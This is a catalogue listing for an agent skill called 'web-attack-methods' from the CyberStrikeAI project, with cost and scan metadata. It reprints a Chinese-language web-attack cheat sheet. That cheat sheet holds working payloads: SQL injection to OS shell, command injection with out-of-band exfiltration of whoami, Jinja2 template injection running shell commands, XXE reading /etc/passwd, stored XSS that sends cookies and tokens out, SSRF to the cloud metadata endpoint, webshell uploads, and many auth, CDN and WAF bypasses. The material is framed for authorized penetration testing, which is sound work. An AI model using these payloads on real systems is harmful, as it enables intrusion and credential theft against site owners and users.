web-attack-methods

web-attack-methods is a skill for Claude Code, Codex from Ed1s0nZ/CyberStrikeAI. It costs 82 tokens per session (2,576 once invoked), scanned B, original, Apache-2.0.

A reference guide to testing common web security weaknesses, including database injection, cross-site scripting, authentication flaws, server-side request forgery, and file-handling issues.

In plain words
What is it for?
Use it during permitted penetration tests of web applications, APIs, login systems, WebSockets, servers, and defenses such as WAFs or CDNs.
Why use it?
It collects example inputs and attack paths in one place, so authorized security testing does not depend on remembering each technique.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Not installable on its own: it reads a path above its own folder, which only exists inside its repository. The line is LFI: ../../../etc/passwd | php://filter读源码 | data:// expect:// phar:// | RCE链:日志投毒/会话投毒/phar反序列化.

About the project

CyberStrikeAI is a security operations workspace that turns natural-language plans into governed, auditable actions while recording evidence and results for later reuse. Authorized security teams use it to manage agents, tools, vulnerabilities, knowledge, and attack-chain analysis. Catalogue add-ons provide agent and skill workflows for working with the platform.

Ed1s0nZ/CyberStrikeAI · 6,381 stars · on GitHub

Install

Getting it into your agent

There is no command for this one: it runs only inside a plugin, and the catalogue could not identify which plugin ships it. The source is linked below.

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for web-attack-methods

README.md
[![agentmods](https://agentmods.dev/badge/skills/ed1s0nz/cyberstrikeai/web-attack-methods.svg)](https://agentmods.dev/skills/ed1s0nz/cyberstrikeai/web-attack-methods)
Your own site
<a href="https://agentmods.dev/skills/ed1s0nz/cyberstrikeai/web-attack-methods"><img src="https://agentmods.dev/badge/skills/ed1s0nz/cyberstrikeai/web-attack-methods.svg" alt="Measured on agentmods" height="20"></a>
Per session 82 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,576 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00082 $0.02576
Opus 5 $0.00041 $0.01288
Sonnet 5 $0.00016 $0.00515
Haiku 4.5 $0.00008 $0.00258

Measured 6d ago against content hash c27fa53f9661, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-06, from the pricing page.

Security

Grade B, and why

web-attack-methods scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

SSRF: 绕IP 2130706433/[::1]/nip.io/#@ | 云元数据169.254.169.254 | Redis gopher://127.0.0.1:6379/_

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

关键: agent浏览器通常能出网(不受后端air-gap限制)! payload目标: document.cookie + localStorage + fetch(admin API).then(exfil)
skills/web-attack-methods/SKILL.md · 82 lines

How it starts

The opening of the file, as written. The whole thing — 82 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Web 攻击手法(注入 / 认证 / 服务端 / 杂项 / CDN)

=== Web注入 ===
SQLi: sqlmap -u URL --technique=BEUSTQ --risk=3 --level=5 --os-shell | 手测 ' OR 1=1-- / ' AND SLEEP(5)--
  绕过 SEL/**/ECT,大小写,CHAR() | 升级 OUTFILE→webshell / xp_cmdshell / UDF
命令注入: ; | && $(cmd) `cmd` %0a | 绕空格$IFS,绕cat用tac/nl | OOB ;nslookup $(whoami).OOB
SSTI: {{7*7}}Jinja2 ${7*7}FreeMarker #{7*7}Ruby | Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
XSS: HTML/属性/JS/href/DOM/SVG | 绕CSP用JSONP/AngularJS CDN | XXE: <!ENTITY xxe SYSTEM "file:///etc/passwd">/"http://OOB/"
🚨Stored XSS via WebSocket/STOMP聊天: 客服系统(OCS/LiveChat)的agent面板常用innerHTML/v-html渲染visitor消息(Vue domProps innerHTML)
  攻击链: visitor STOMP连接→发含<img src=x onerror=fetch(...)>的消息→agent打开对话→XSS在agent浏览器执行→偷cookie/token/localStorage
  关键: agent浏览器通常能出网(不受后端air-gap限制)! payload目标: document.cookie + localStorage + fetch(admin API).then(exfil)
  绕过: mf:1(visitor身份)的消息, tp:0(文本类型)内容直接innerHTML; 图片消息用url字段(<img src>)不走innerHTML
SSRF: 绕IP 2130706433/[::1]/nip.io/#@ | 云元数据169.254.169.254 | Redis gopher://127.0.0.1:6379/_
NoSQL: {"password":{"$ne":""}} / {"$regex":"^a"}

=== 认证授权 ===
认证绕过: admin'-- | 密码重置(可预测token/Host头注入) | MFA绕过(跳过/爆破4-6位) | X-Forwarded-For轮换IP
IDOR: 换资源ID水平越权 | 批量赋值 {"role":"admin","isAdmin":true}
JWT: jwt_tool -X a(alg none/RS256→HS256) | -C爆弱密钥 | kid注入 | jku/x5u远程密钥
401/403绕过: /admin/ /Admin /%2561dmin /admin;/ /admin..;/ | X-Original-URL/X-Rewrite-URL/X-Forwarded-For:127.0.0.1
OAuth/OIDC: redirect_uri操纵(替换/后缀/@混淆/路径穿越) | state缺失→CSRF | PKCE降级 | id_token套JWT全攻击
SAML: XSW签名包装(SAML Raider) | 签名剥离 | 注释截断 admin<!---->@evil | Golden SAML(IdP私钥)

=== 服务端 ===
LFI: ../../../etc/passwd | php://filter读源码 | data:// expect:// phar:// | RCE链:日志投毒/会话投毒/phar反序列化
文件上传: shell.php.jpg/.PHP/.php./%00 | .htaccess改解析 | GIF89a magic bytes | ImageMagick/Ghostscript
🚨Spring Boot Actuator路径穿越绕过认证拦截器: 拦截器匹配/api/*但actuator白名单→/actuator/../api/v1/endpoint绕过拦截器到达受保护端点
  原理: Spring Security/自定义拦截器对路径匹配在规范化前,Tomcat对路径规范化后路由→路径穿越绕过拦截器但到达目标Servlet
  验证: /actuator/health返回200(白名单)→/actuator/../target路径也返回200(绕过)vs直接/target返回403/sign is empty(被拦截) | /actuator/health/../../target(模板路径{*path}穿越)
  sign验证弱点: 很多自定义sign校验只检查header非空(sign:任意值+expTime:任意数字即通过)→发现code:500而非"sign is empty"=验证通过了 | 快检:sign:0或sign:aaa从"sign is empty"变500=只检非空
  升级: 绕过后结合X-HTTP-Method-Override: POST让GET请求触发POST处理器(某些Spring配置支持)

=== Web杂项 ===
🚨Tomcat ..;/ 绕过nginx路径限制: nginx不解析URL中的;(视为路径一部分)但Tomcat把..;/当路径穿越:
  /api/v1/v/..;/admin/path → nginx匹配/api/v1/v/(放行) → Tomcat解析为/admin/path(穿越!)
  验证: 正常/admin返回nginx 403, 用/api/v1/v/..;/admin返回Tomcat 404 = 绕过成功
  限制: Spring MVC DispatcherServlet路由独立于文件系统,只能访问同war内静态文件/非MVC路径
  组合: 配合Spring4Shell写入的JSP webshell, 或访问actuator端点
🚨WebSocket/STOMP帧绕过nginx方法限制: nginx对POST /api/v1/a/login返回405,但WebSocket升级后STOMP帧不受限:
  1. GET /api/v1/v/ws/{3位}/{8位随机}/websocket → 101 Upgrade (走visitor路径绕过)
  2. STOMP CONNECT → STOMP SEND destination:/app/a/login → 直达Spring后端
  SockJS XHR替代: POST .../xhr_send发STOMP帧(204=成功), 不需真正WebSocket
  坑: CDN快速断开("Another connection still open"), 用raw socket比websocket库更稳
🚨X-Forwarded-For绕过应用层IP黑名单: CDN信任XFF头, 应用从XFF取客户端IP做黑名单检查:
  有效: X-Forwarded-For: 1.1.1.1 | X-Forwarded-For: 127.0.0.1, 10.0.0.1
  无效: X-Real-IP, X-Client-IP, CF-Connecting-IP, True-Client-IP, Forwarded
  检测: 响应含 {code:10010, msg:"黑名单"} 且data字段是你的真实IP
🚨PATH_INFO nginx deny bypass: nginx deny .php文件(返回146B nginx 404)但PHP-FPM通过PATH_INFO仍可达:
  /denied/file.php → 404|146(nginx拦截) | /denied/file.php/ → 16B "File not found."(PHP-FPM执行!)
  /denied/file.php/x → 同上。PHP-FPM返回"File not found."说明请求穿透了nginx deny到了PHP-FPM(只是脚本路径不对)
  利用: 如果PHP配置cgi.fix_pathinfo=1(默认), /uploads/shell.jpg/x.php → PHP执行shell.jpg! | 确认存在后找FPM实际docroot(可能与nginx不同)
  识别: nginx deny返回固定大小(146B标准404), PHP-FPM返回16B "File not found." → 大小差异即突破信号
🚨响应大小指纹(隐藏文件发现): CMS catch-all路由返回固定大小首页(如44004B), nginx真实404返回146B
  文件存在但被deny: 返回146B(nginx 404) | 文件不存在: 返回catch-all大小(44004B) | → 146B=文件确实存在!
  方法: 批量扫描路径,按响应大小分类: catch-all=不存在, nginx404=存在但被禁, 其他大小=可访问
WAF绕过决策树: 编码→协议级→路径→变异→IP伪造→走私 | CORS: Origin反射+Credentials:true
🚨CDN 502绕过(URL模式过滤): CDN对admin路径返回502时,HTTP编码/走私/方法变换全无效→换协议:
  ①WebSocket升级: CDN通常只过滤HTTP响应,WS路径可能不在过滤规则中。/api/v1/a/ws/返回200而/api/v1/a/doLogin返回502=WS路径不受过滤
  ②找源站IP直连: DNS历史/证书透明/SNI扫描/同子网扫描/邮件头Return-Path/Shodan指纹匹配/CDN回源配置泄露/唯一错误页面指纹→绕过CDN直连后端
  ③非标端口: 扫CDN节点全端口,某些端口可能代理不同后端或过滤规则不同(如8085暴露actuator)
  ④路径穿越: /api/v1/v/..;/a/doLogin让Tomcat路由到admin但CDN可能不识别(注意:CDN仍可能过滤响应)
  ⑤泛解析识别: 所有子域名解析到CDN=通配符DNS,不是真实记录。用114.114.114.114/8.8.8.8对比结果
🚨WSCN/网宿CDN JS挑战识别与绕过: 响应含`_jsc_ch_conf`+`ws_sec_page.js`=网宿JS挑战(非WAF拦截)
  特征: cv:".域名",mt:"jhsq987",chType/chTs/chID/chHash字段 | 403页6000+字节含"Embed Iframe"
  绕过: CDN只对特定path白名单(如/c/)不做挑战→用Spring Boot ..;/ traversal(`/c/..;/target_path`)穿透到后端其他路由
  识别后端框架: JSON错误`{"timestamp":...,"status":...,"error":...,"path":...}`=Spring Boot | 405=路由存在但方法错

=== CDN绕过(目标藏在CDN后,admin接口被502) ===
CDN 502分析: 区分URL模式过滤(时序固定~0.3s,所有方法/编码/端口/节点都502)vs响应内容过滤vs后端挂了
  关键判断: 路径穿越(`/api/v1/v/..;/a/doLogin`)如果返回Tomcat 404=穿透CDN到后端,返回502=CDN URL模式拦截
  nginx 502 vs CDN PWS 502: nginx=边缘层反代挂了, PWS=CDN全局策略

Read the full file on GitHub · 82 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 82 lines · 82 tokens per session scan B c27fa53f9661

Subscribe to this mod's changes

web-attack-methods is a skill published in the GitHub repository Ed1s0nZ/CyberStrikeAI (6,381 stars, last pushed 10d ago), licensed Apache-2.0. It adds 82 tokens to every session and 2,576 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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